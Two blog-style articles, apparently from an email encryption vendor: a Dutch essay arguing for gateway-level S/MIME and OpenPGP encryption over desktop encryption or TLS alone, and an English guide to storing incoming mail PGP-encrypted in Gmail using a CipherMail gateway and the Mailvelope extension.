Wat mij echter wel verrast, is dat er ondanks deze kennis vaak gevoelige informatie onbeveiligd wordt verstuurd zonder er bij na te denken wat de gevolgen kunnen zijn als de e-mail uitlekt. In veel beroepsgroepen zijn er specifieke regels die verbieden om privacy gevoelige gegevens over het Internet te versturen als er geen gebruik wordt gemaakt van additionele beveiligingsmaatregelen. In de zorg is dat bijvoorbeeld de NEN 7510. Helaas is de praktijk vaak anders dan de theorie en wordt er door Jan en alleman naarstig op los gemaild. Dat een individuele gebruiker denkt, "het mag niet, maar het is zo handig", daar kan ik mij nog wel wat bij voorstellen. Waar ik mij meer over verbaas, is dat auditors een oogje lijken toe te knijpen. Organisaties geven jaarlijks een vermogen uit om hun infrastructuur te laten "keuren". De auditors produceren dikke rapporten en de klant geeft vervolgens weer een vermogen uit om de digitale "Fort Knox" beter te beveiligen. Soms gaat het zelfs zo ver dat er firewalls van verschillende fabrikanten moeten worden aangeschaft. Wordt er een lek gevonden in een firewall van fabrikant A, dan heb je altijd nog een firewall van fabrikant B. Op zich allemaal begrijpelijk. Waar zit dan nu mijn verbazing? Mijn verbazing zit daarin dat het lijkt dat de verantwoordelijkheid van de auditor eindigt wanneer een e-mail het Internet is opgegaan. Ik schrijf bewust lijkt, want een auditor is natuurlijk ook niet gek. Toch lijkt het hier wel op. Op het moment dat een e-mailbericht de e-mail server heeft verlaten, ben je de controle over dat bericht kwijt. Je kunt niet meer controleren wie toegang heeft tot dat bericht en of het mogelijk onderweg is aangepast. Hoewel ik geen auditor ben, kan ik mij in ieder geval voorstellen dat je moet concluderen dat er hier sprake is van een audit technisch probleem.

Is jouw e-mail geld waard?

Pakweg 10 jaar geleden sprak ik na afloop van een presentatie over e-mail versleuteling met de eigenaar van een IT security bedrijf en zijn conclusie was toen al: "eigenlijk moet je e-mail als compromised beschouwen op het moment dat je het onversleuteld en ongetekend hebt verstuurd". Ik denk eigenlijk dat als e-mail nu uitgevonden zou worden, een auditor het waarschijnlijk niet meer zou toestaan om gevoelige informatie via e-mail te versturen. Nu kun je je afvragen hoe groot de kans is dat e-mail wordt onderschept. Daar heb ik niet direct een antwoord op. Wat ik wel weet, is dat als er geld kan worden verdiend met duistere zaakjes dat dan de kans dat iemand dat gaat doen één is. Hierbij een hypothetisch voorbeeld van hoe je geld zou kunnen verdienen als je iets weet wat anderen niet behoren te weten. Vorig jaar werd duidelijk dat D.E. Master Blenders overgenomen zou worden door een groep van Duitse investeerders. Toen deze informatie publiekelijk werd, schoot de beurskoers van D.E. Master Blenders met ruim 27% omhoog. Hoewel ik dat uiteraard niet zeker weet, zou het natuurlijk best zo kunnen zijn dat de concept verslagen en contracten over deze overname al menig keer over en weer over het Internet zijn verstuurd. Ik neem aan dat bij zulke overnames advocaten en accountants worden betrokken. Als je in staat bent deze berichten te onderscheppen, kun je daar mogelijk veel geld mee verdienen. Natuurlijk zullen er in de praktijk additionele middelen zijn om misbruik van voorkennis te ontdekken maar als je het subtiel aanpakt kom je er waarschijnlijk wel mee weg.

Iedereen veilige e-mail gebruiken en opgelost...

Nu is het zo dat er al jaren oplossingen bestaan om e-mail te versleutelen. De vraag is dan ook waarom dit zo weinig wordt toegepast. Ik denk dat daarvoor een aantal oorzaken zijn. In het in 1999 verschenen artikel "Why Johnny can't encrypt: a usability evaluation of PGP 5.0" wordt beschreven waarom PGP software voor het versleutelen van e-mail zo lastig is in het gebruik en waarom versleuteling van e-mail zo weinig wordt toegepast. De twee belangrijkste conclusies van het artikel zijn naar mijn mening:

Individuele eindgebruikers zoals Jan zijn niet gemotiveerd genoeg om e-mail te versleutelen
Het is daarnaast allemaal te complex voor de eindgebruikers.

Dat eindgebruikers niet gemotiveerd genoeg zijn om hun e-mail te versleutelen heeft waarschijnlijk te maken met de urgentie. "Dat heb ik nog nooit gedaan dus waarom zou ik dat nu ineens moeten doen" is een veel gebruikt argument. Het heeft natuurlijk ook ten dele te maken met de tweede conclusie. Als het heel eenvoudig zou zijn om je e-mail te versleutelen, zouden meer mensen gemotiveerd zijn om dat te doen. Toch denk ik niet dat dat de volledige verklaring is. Mensen zijn heel creatief om elke vorm van beveiliging te omzeilen als dat hun leven een stukje eenvoudiger maakt. Recentelijk nog plaatste een SP Kamerlid met trots een bericht op Twitter dat hij de beveiliging van zijn USB-stick met begrotingsstukken had omzeild door de stukken te mailen naar zijn Gmail account zodat hij de stukken tenminste kon uitprinten. Je zou van een Kamerlid toch iets meer verantwoordelijkheid verwachten. Ik denk dat je de eindgebruiker zo min mogelijk moet lastigvallen met beveiligingstechnische vraagstukken. Het wordt al snel te complex voor de gemiddelde eindgebruiker en als iets te complex is, dan wordt het niet gebruikt. Hoewel het beveiligingstechnisch gezien het meest veilig is om te versleutelen op de desktop (bijvoorbeeld met Outlook), zal dat in de praktijk meestal niet goed werken. Het is namelijk te complex.

Hoe kan het beter?

Ik denk dat de beste oplossing is om alle e-mail op infrastructureel niveau te versleutelen. Dus gebruik te maken van e-mail "gateways" die onderling e-mail berichten versleutelen. Het grote voordeel hiervan is dat je centraal een beveiligingsbeleid kan afdwingen. Je kunt bijvoorbeeld instellen dat e-mail naar een bepaald domein altijd versleuteld moet worden. Aangezien het beveiligingsbeleid centraal wordt afgedwongen, kan de verzender zich hieraan niet onttrekken. De verzender kan gewoon blijven e-mailen zonder lastig gevallen te worden met moeilijke beslissingen. De administrator is verantwoordelijk voor het beheer van de sleutels en het beveiligingsbeleid. Een bijkomend voordeel van het centraal versleutelen van e-mail is dat de e-mail nog steeds centraal kan worden gecontroleerd op virussen. Dit in tegenstelling tot versleuteling op de desktop aangezien in dat geval een centraal geplaatste virus-scanner de berichten niet meer kan controleren op virussen. Er zijn ook hybride oplossingen mogelijk. Je kunt er bijvoorbeeld voor kiezen om e-mail op de desktop digitaal te ondertekenen, eventueel met een smartcard, en vervolgens centraal te versleutelen.

Transport Layer Security de oplossing?

Nu zullen velen van u denken, "maar dit kan toch allemaal al met TLS (SSL)?". Dit is maar ten dele waar. Zonder in te gaan op alle details, zal ik kort aangeven waarom een TLS verbinding niet altijd voldoende is. Een TLS verbinding versleutelt wel het kanaal maar niet de individuele berichten. Dus als een e-mail tijdelijk wordt opgeslagen, bijvoorbeeld op een tussenliggende e-mail server, dan is de e-mail in principe leesbaar. Een ander nadeel van TLS is dat je alleen kan afdwingen dat de verbinding naar de eerstvolgende server beveiligd is met TLS. Nadat een e-mail is ontvangen door een e-mail server, heb je geen controle meer over die e-mail. Het zou zo kunnen zijn dat er daarna helemaal geen gebruik meer wordt gemaakt van TLS. Vaak zijn er meerdere tussenliggende mail servers betrokken bij het versturen van e-mail. Een ander probleem is dat TLS, en dan vooral in combinatie met SMTP, gevoelig is voor een "man in the middle attack". Bij een "man in the middle attack" komt het er grofweg op neer dat je niet met zekerheid weet of je verbonden bent met de juiste server. Een probleem met e-mail is dat er geen duidelijke relatie is tussen het e-mail adres van een ontvanger en de e-mail server die verantwoordelijk is voor de afhandeling van deze e-mail. Hoewel het mogelijk is je te beschermen tegen een "man in the middle attack", bijvoorbeeld door de "fingerprint" van het certificaat te controleren, wordt dat in de praktijk vaak achterwegen gelaten.

De standaard is S/MIME en OpenPGP

Om e-mail versleuteling tussen e-mail servers onderling succesvol te laten zijn moet er gebruik worden gemaakt van open standaarden. Dit verkleint ook het risico op een "vendor lock-in". Op dit moment zijn er twee officiële e-mail versleutelingsstandaarden: S/MIME and OpenPGP. Deze twee standaarden worden door verschillende fabrikanten ondersteund. Tevens zijn er verschillende open-source producten die deze standaarden ondersteunen. Nadat een versleutelings "gateway" geïnstalleerd en geconfigureerd is, is het beheer hiervan overzichtelijk. Zeker als je het vergelijkt met het beheer dat nodig is wanneer er wordt versleuteld op de desktop. Toekomstige standaarden, zoals DANE in combinatie met S/MIME, zullen ervoor zorgen dat de uitwisseling van sleutels min or meer automatisch zal plaatsvinden waardoor het beheer hiervan eenvoudiger wordt.

Dus hoe kunnen we zorgen dat eindgebruikers zoals Jan veilig e-mailen? Door te zorgen dat e-mail op infrastructureel niveau versleuteld wordt zodat eindgebruikers e-mail kunnen blijven gebruiken zoals ze gewend zijn.

Dit artikel verscheen eerder op het Cqure Kennisplatform.

Encrypted email in the cloud

2014-06-06T00:00:00+02:00

In a perfect world, email can only be read by the user the email was intended for. In the real world however, things are a bit different.

Although email can easily be encrypted, most email is not. Roughly speaking there are two ways email can be leaked: it can be read in transit (i.e., when sent over the Internet), or it can be read at rest (i.e., after the email is stored). Email is only briefly in transit. Once an email has reached its destination, it is no longer in transit. An email is however stored until it is deleted (and even then there will probably be a backup somewhere). It is therefore more likely that an email gets leaked after storage and not during transmission (for example, if your account gets hacked, the hacker can read all your email).

So even if your email is transmitted in plain text, encrypting the email before storing it will be very helpful to protect yourself against some hacker trying to break into your mailbox (or to protect yourself against Gmail for scanning your email for targeted ads).

We will show how you can store all incoming email in encrypted form on an external mail server with the CipherMail email encryption gateway, even if an incoming email is not encrypted.

Using the Mailvelope browser extension, you will still be able read your email online. The browser extension will locally decrypt the email when the email is opened. We use a similar setup ourselves to create a remote encrypted backup of all our incoming email on Gmail. Since every email is encrypted, Gmail cannot read the content of the emails.

For the rest of this post we assume that all email will be stored on a Gmail server. However, the same principle can be used with other mail providers just as long as the mail provider is supported by Mailvelope (Mailvelope supports Gmail, Outlook.com, Yahoo and other Webmail providers).

Prerequisite

Since all incoming email must be encrypted before being sent to Gmail, all email must first be sent to the CipherMail email encryption gateway. This requires that you need to use your own domain name (which is a good thing to do anyway). Also a functional instance of the CipherMail gateway is required.

Setup

When an email is sent by some external sender, it is first sent to your CipherMail gateway (since the mx records of your domain point to the IP of the CipherMail gateway). The CipherMail gateway then PGP encrypts the message and forwards the message to your Gmail account. When the email is opened by the recipient, the Mailvelope extension will decrypt the message automatically. The following diagram gives an overview of the mail flow:

The following part will briefly explain the required steps on how to setup the above configuration.

Install a CipherMail gateway.
Forward all email to Gmail.
Install Mailvelope.
Create a PGP secret key in Mailvelope (or import and existing key).
Import the PGP public key into the gateway.
Configure the gateway.

Install a CipherMail gateway

A running instance of the CipherMail gateway is required. You can download a Virtual Appliance for VMware or HyperV. Alternatively the gateway can be installed using the installation packages for Ubuntu, Debian, Red Hat/CentOS or OpenSUSE.

Forward all email to Gmail

After the email is encrypted by the gateway, the email must be forwarded to the Gmail server. The forwarding configuration depends on whether Google apps for business is used. With Google apps for business you can configure Gmail to accept email for your own domain. If Google apps for business is used, the "Internal relay host" setting should be set to the Gmail domain to forward all incoming email to Gmail. If a personal Gmail account is used, forwarding to Gmail can be configured by setting a virtual alias in Postfix (repeat this step for all recipients that must be forwarded).

Install Mailvelope

Mailvelope is a browser extension which supports OpenPGP. Mailvelope can locally decrypt and encrypt email using secret key stored locally in the browser. Mailvelope currently only supports Chrome. A Firefox version is currently under review by Mozilla for inclusion in the Mozilla add-ons store.

Create a PGP secret key in Mailvelope (or import and existing key)

Mailvelope requires an OpenPGP for decrypting the email. A new secret key can be generated by Mailvelope or an existing secret key can be imported from a secret keyring. See Mailvelope help for instructions on how to generate or import a key. For every recipient a PGP secret key should be created.

Import the PGP public key into the gateway

The gateway needs the PGP public key of the secret key(s). For every secret key generated or imported in the previous step, the public key should be imported into the gateway. This can be done by either importing the key from a file or, if the key is published on a key server, the key can be imported from the key server. The key should be trusted by the gateway otherwise the key will not be used.

Configure the gateway

The gateway should be configured to always encrypt for the forwarded recipient(s). To always encrypt for a recipient, set the "Encrypt mode" for the recipient to "Allow (sender or recipient)". The CipherMail gateway by default encrypts with PGP/MIME. Mailvelope however only supports PGP/INLINE. The recipient(s) should therefore be configured for PGP/INLINE.

Reading encrypted email

All email forwarded to Gmail will now be encrypted as can be seen from the inbox.
When an email is opened, Mailvelope is activated. The user needs to enter the secret key password to read the encrypted email.

Discussion

With this setup, all incoming email will be encrypted and then forwarded to Gmail. Encrypting all email however has a couple of shortcomings which we will discuss.

Searching

Since all email will be encrypted, searching for an email based on content will no longer work. You can only search based on meta data (like sender, subject, date etc.) since the meta data is not encrypted.

Attachments

Attachments cannot be decrypted. This is a shortcoming of the Mailvelope extension. Attachments should therefore be downloaded and decrypted locally with GnuPG. If you are using a mail client with PGP support, for example Thunderbird with Enigmail, attachments are directly supported.

HTML email

Since Mailvelope currently only supports PGP/INLINE, HTML email is not supported (HTML email is supported with PGP/MIME). The CipherMail gateway will convert HTML only emails to text before encrypting with PGP/INLINE. We are investigating whether we can support HTML with PGP/INLINE.

Sending email

With the current setup, only incoming email will be encrypted. Email sent from Gmail with your browser will by default not be encrypted. To support encryption of all sent email, even if the recipient does not use PGP, requires some changes to Mailvelope. Mailvelope should be configured to always encrypt with one particular PGP key. Gmail should then be configured to relay via the external CipherMail server. The CipherMail server will decrypt the message and then relay the message to the intended recipient. This ensures that even sent items are encrypted.